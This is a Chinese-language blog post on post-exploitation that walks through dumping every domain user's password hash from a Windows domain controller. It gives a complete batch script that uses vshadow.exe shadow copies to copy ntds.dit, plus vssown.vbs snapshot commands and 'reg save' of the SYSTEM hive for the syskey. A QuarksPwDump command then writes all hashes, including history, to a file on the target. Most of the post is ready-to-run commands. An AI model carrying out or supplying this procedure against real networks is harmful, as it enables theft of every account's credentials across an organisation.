PythonPig's Blog 移动通信 TCP/IP Hacker 后渗透 伪码农

导出域内所有用户hash

2018-12-09
PythonPig

#0x00 写在前面

域渗透过程简单来说:搞定域内某机器—获取域管登录凭证—登录域控导出所有用户hash—完毕 补充一下:尝试本地用户是否可以登录本机,如果可以登录,获取些本地用户hash备用(通过sam获取hash)

图片来源于https://www.youtube.com/watch?v=KnOJKRl7E0A

域内用户HASH是存在域控ntds.dit中的, 它的存放位置是C:\Windows\ntds.dit。ntds.dit在系统运行过程中是被系统锁定的,无法操作,因此第一步是先把ntds.dit复制一份出来,然后导出其中的用户hash。

#0x01 拷贝ntds.dit

拷贝ntds.dit的方法有多种,这里说两种经常使用的。经过测试第一种方法导出的hash数量比第一种多,原因目前尚不知。
windows系统中自带的工具vssadmin也可以很方便的拷贝ntds.dit,经过测试拷贝的ntds.dit不能直接用QuarksPwDump.exe导出hash,但可以使用impacket中的secretsdump.py导出hash,这种情况一般用在目标系统安装有python环境的情况下。

一、使用微软官方提供的卷影拷贝工具vshadow.exe复制ntds.dit

现在官方不提供vshadow.exe的直接下载了,可以安装官方JDK,在安装目录下可以找到vshadow.exe,这里要注意操作系统的版本,特别是xp和server 2003。
利用官方JDK生成vshadow.exe的方法虽然不用担心后门,但是操作实在麻烦,这里提供一个runtime的工具:ShadowCopy,安装后在安装目录下可以找到各系统版本对应的vshadow.exe。

为了方便使用vshadow.exe,这里提供一个脚本:ShadowCopy.bat,内容如下:

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=\windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

vshadow.exe和ShadowCopy.bat上传到域控的同一目录,执行完ShadowCopy.bat后,ntds.dit便会被复制到当前目录。

在导出hash之前,ntds.dit需要使用esentutl工具修复

esentutl /p /o ntds.dit

导出ntds.dit后为了解密,还需要导出syskey

reg save hklm\system c:\perflogs\system.hive

二、使用vssown.vbs复制ntds.dit

vssown.vbs脚本在这里下载的:vssown.vbs

查看vssown.vbs的使用方法:
cscript vssown.vbs,主要的命令如下:

cscript vssown.vbs /start
cscript vssown.vbs /list
cscript vssown.vbs /create c
cscript vssown.vbs /delete id
cscript vssown.vbs /stop

1、启动服务

cscript vssown.vbs /start

2、查看系统已有的快照并记录

cscript vssown.vbs /list

3、创建c盘快照

cscript vssown.vbs /create c

4、查看新增的快照

cscript vssown.vbs /list

通过与第2步中的快照对比可知哪个快照是新增的,执行命令后最先显示出的快照一般是最新创建的。
记录最新创建快照的ID和Device Object

5、从快照中拷贝ntds.dit和syskey
本次操作需要使用第4步中得到的快照ID和Device Object

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy140\windows\ntds\ntds.dit C:\perflogs
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy140\windows\system32\config\SYSTEM C:\perflogs\system.hive

拷贝ntds.dit:

拷贝syskey:

syskey也可以这样导出

reg save hklm\system c:\perflogs\system.hive

6、删除快照并停止服务

cscript vssown.vbs /delete {D61DE4C9-029E-42E7-9A93-64529039FD54}
cscript vssown.vbs /stop

#0x02 从ntds.dit导出所有用户hash

因为ntds.dit文件一般比较大,传回本地不太方便,所以直接在目标服务器上导出用户hash。

QuarksPwDump.exe --dump-hash-domain --with-history --ntds-file c:\perflogs\ntds.dit --system-file c:\perflogs\system.hive -o c:\perflogs\res.txt

一定要注意这里要使用绝对路径,选项参数之间只能有一个空格,用到的QuarksPwDump.exe在这里,下载源码后vs2010直接编译即可

#0x03 参考


Similar Posts

Comments